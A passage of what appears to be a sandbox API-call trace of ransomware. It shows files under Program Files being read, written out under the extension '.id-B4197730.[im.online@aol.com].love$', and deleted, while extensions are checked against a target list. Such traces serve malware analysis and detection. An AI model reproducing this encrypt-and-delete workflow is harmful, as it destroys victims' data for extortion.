lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x30, lpOverlapped=0x0) returned 1 [0108.711] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0108.711] WriteFile (in: hFile=0x340, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xe8, lpOverlapped=0x0) returned 1 [0108.711] SetEndOfFile (hFile=0x340) returned 1 [0108.711] CloseHandle (hObject=0x340) returned 1 [0108.716] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0108.716] SetEndOfFile (hFile=0x354) returned 1 [0108.717] CloseHandle (hObject=0x354) returned 1 [0108.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0108.718] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1 [0108.718] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0108.718] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0108.718] lstrlenW (lpString=".doc") returned 4 [0108.718] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0108.718] lstrlenW (lpString=".docx") returned 5 [0108.718] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0108.718] lstrlenW (lpString=".pdf") returned 4 [0108.718] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0108.718] lstrlenW (lpString=".xls") returned 4 [0108.718] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0108.718] lstrlenW (lpString=".xlsx") returned 5 [0108.718] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0108.718] lstrlenW (lpString=".ppt") returned 4 [0108.718] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0108.718] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0108.718] lstrlenW (lpString=".zip") returned 4 [0108.718] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0108.719] lstrlenW (lpString=".rar") returned 4 [0108.719] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0108.719] lstrlenW (lpString=".bz2") returned 4 [0108.719] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0108.719] lstrlenW (lpString=".7z") returned 3 [0108.719] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0108.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0108.719] lstrlenW (lpString=".dbf") returned 4 [0108.719] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0108.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0108.719] lstrlenW (lpString=".1cd") returned 4 [0108.719] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0108.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0108.719] lstrlenW (lpString=".jpg") returned 4 [0108.719] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0108.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0108.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0108.719] lstrlenW (lpString=".doc") returned 4 [0108.719] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0108.719] lstrlenW (lpString=".docx") returned 5 [0108.719] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0108.719] lstrlenW (lpString=".pdf") returned 4 [0108.719] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0108.719] lstrlenW (lpString=".xls") returned 4 [0108.719] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0108.719] lstrlenW (lpString=".xlsx") returned 5 [0108.719] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0108.719] lstrlenW (lpString=".ppt") returned 4 [0108.720] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0108.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0108.720] lstrlenW (lpString=".zip") returned 4 [0108.720] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0108.720] lstrlenW (lpString=".rar") returned 4 [0108.720] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0108.720] lstrlenW (lpString=".bz2") returned 4 [0108.720] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0108.720] lstrlenW (lpString=".7z") returned 3 [0108.720] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0108.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0108.720] lstrlenW (lpString=".dbf") returned 4 [0108.720] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0108.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0108.720] lstrlenW (lpString=".1cd") returned 4 [0108.720] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0108.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0108.720] lstrlenW (lpString=".jpg") returned 4 [0108.720] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0108.720] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0108.720] lstrlenW (lpString="FileSystemMetadata.xml") returned 22 [0108.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0108.721] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=281) returned 1 [0108.721] CloseHandle (hObject=0x354) returned 1 [0108.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220 [0108.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0108.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0108.722] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0108.722] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0108.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0108.723] GetLastError () returned 0x0 [0108.723] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x119, lpOverlapped=0x0) returned 1 [0108.724] WriteFile (in: hFile=0x340, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x120, lpOverlapped=0x0) returned 1 [0108.725] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0108.725] WriteFile (in: hFile=0x340, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x100, lpOverlapped=0x0) returned 1 [0108.729] SetEndOfFile (hFile=0x340) returned 1 [0108.730] CloseHandle (hObject=0x340) returned 1 [0108.731] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0108.731] SetEndOfFile (hFile=0x354) returned 1 [0108.732] CloseHandle (hObject=0x354) returned 1 [0108.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0108.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1 [0108.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0108.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0108.733] lstrlenW (lpString=".doc") returned 4 [0108.733] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0108.733] lstrlenW (lpString=".docx") returned 5 [0108.733] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0108.733] lstrlenW (lpString=".pdf") returned 4 [0108.733] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0108.733] lstrlenW (lpString=".xls") returned 4 [0108.733] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0108.733] lstrlenW (lpString=".xlsx") returned 5 [0108.733] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0108.733] lstrlenW (lpString=".ppt") returned 4 [0108.733] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0108.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0108.733] lstrlenW (lpString=".zip") returned 4 [0108.733] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0108.733] lstrlenW (lpString=".rar") returned 4 [0108.733] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0108.733] lstrlenW (lpString=".bz2") returned 4 [0108.733] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0108.733] lstrlenW (lpString=".7z") returned 3 [0108.733] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0108.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0108.733] lstrlenW (lpString=".dbf") returned 4 [0108.733] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0108.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0108.733] lstrlenW (lpString=".1cd") returned 4 [0108.734] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0108.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0108.734] lstrlenW (lpString=".jpg") returned 4 [0108.734] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0108.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0108.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0108.734] lstrlenW (lpString=".doc") returned 4 [0108.734] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0108.734] lstrlenW (lpString=".docx") returned 5 [0108.734] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0108.734] lstrlenW (lpString=".pdf") returned 4 [0108.734] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0108.734] lstrlenW (lpString=".xls") returned 4 [0108.734] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0108.734] lstrlenW (lpString=".xlsx") returned 5 [0108.734] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0108.734] lstrlenW (lpString=".ppt") returned 4 [0108.734] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0108.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0108.734] lstrlenW (lpString=".zip") returned 4 [0108.734] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0108.734] lstrlenW (lpString=".rar") returned 4 [0108.734] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0108.734] lstrlenW (lpString=".bz2") returned 4 [0108.734] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0108.734] lstrlenW (lpString=".7z") returned 3 [0108.734] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0108.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0108.735] lstrlenW (lpString=".dbf") returned 4 [0108.735] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0108.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0108.735] lstrlenW (lpString=".1cd") returned 4 [0108.735] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0108.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0108.735] lstrlenW (lpString=".jpg") returned 4 [0108.735] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0108.735] lstrcmpiW (lpString1=".HTM", lpString2=".love$") returned -1 [0108.735] lstrlenW (lpString="OSPP.HTM") returned 8 [0108.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0108.738] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=174528) returned 1 [0108.738] CloseHandle (hObject=0x340) returned 1 [0108.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20 [0108.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0108.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0108.738] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0108.739] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0108.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0108.741] GetLastError () returned 0x0 [0108.741] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x2a9c0, lpOverlapped=0x0) returned 1 [0108.747] WriteFile (in: hFile=0x2d8, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x2a9d0, lpOverlapped=0x0) returned 1 [0108.752] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0108.752] WriteFile (in: hFile=0x2d8, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0108.752] SetEndOfFile (hFile=0x2d8) returned 1 [0108.752] CloseHandle (hObject=0x2d8) returned 1 [0109.486] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0109.486] SetEndOfFile (hFile=0x340) returned 1 [0109.488] CloseHandle (hObject=0x340) returned 1 [0109.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0109.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1 [0109.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0109.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0109.490] lstrlenW (lpString=".doc") returned 4 [0109.490] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0109.490] lstrlenW (lpString=".docx") returned 5 [0109.490] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0109.490] lstrlenW (lpString=".pdf") returned 4 [0109.490] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0109.490] lstrlenW (lpString=".xls") returned 4 [0109.490] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0109.490] lstrlenW (lpString=".xlsx") returned 5 [0109.490] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0109.490] lstrlenW (lpString=".ppt") returned 4 [0109.490] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0109.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0109.490] lstrlenW (lpString=".zip") returned 4 [0109.490] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0109.490] lstrlenW (lpString=".rar") returned 4 [0109.490] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0109.490] lstrlenW (lpString=".bz2") returned 4 [0109.490] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0109.490] lstrlenW (lpString=".7z") returned 3 [0109.490] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0109.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0109.490] lstrlenW (lpString=".dbf") returned 4 [0109.491] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0109.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0109.491] lstrlenW (lpString=".1cd") returned 4 [0109.491] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0109.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0109.491] lstrlenW (lpString=".jpg") returned 4 [0109.491] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0109.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0109.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0109.491] lstrlenW (lpString=".doc") returned 4 [0109.491] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0109.491] lstrlenW (lpString=".docx") returned 5 [0109.491] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0109.491] lstrlenW (lpString=".pdf") returned 4 [0109.491] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0109.491] lstrlenW (lpString=".xls") returned 4 [0109.491] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0109.491] lstrlenW (lpString=".xlsx") returned 5 [0109.491] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0109.491] lstrlenW (lpString=".ppt") returned 4 [0109.491] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0109.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0109.492] lstrlenW (lpString=".zip") returned 4 [0109.492] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0109.492] lstrlenW (lpString=".rar") returned 4 [0109.492] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0109.492] lstrlenW (lpString=".bz2") returned 4 [0109.492] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0109.492] lstrlenW (lpString=".7z") returned 3 [0109.492] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0109.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0109.492] lstrlenW (lpString=".dbf") returned 4 [0109.492] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0109.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0109.493] lstrlenW (lpString=".1cd") returned 4 [0109.493] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0109.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0109.493] lstrlenW (lpString=".jpg") returned 4 [0109.493] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0109.493] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0109.493] lstrlenW (lpString="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 53 [0109.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0109.493] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=1533) returned 1 [0109.493] CloseHandle (hObject=0x340) returned 1 [0109.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220 [0109.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0109.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0109.494] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0109.494] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0109.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0109.495] GetLastError () returned 0x0 [0109.495] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x5fd, lpOverlapped=0x0) returned 1 [0109.497] WriteFile (in: hFile=0x2d8, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x600, lpOverlapped=0x0) returned 1 [0109.498] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0109.498] WriteFile (in: hFile=0x2d8, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0109.499] SetEndOfFile (hFile=0x2d8) returned 1 [0109.499] CloseHandle (hObject=0x2d8) returned 1 [0109.500] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0109.500] SetEndOfFile (hFile=0x340) returned 1 [0109.501] CloseHandle (hObject=0x340) returned 1 [0109.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0109.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1 [0109.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0109.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0109.502] lstrlenW (lpString=".doc") returned 4 [0109.502] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0109.502] lstrlenW (lpString=".docx") returned 5 [0109.502] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 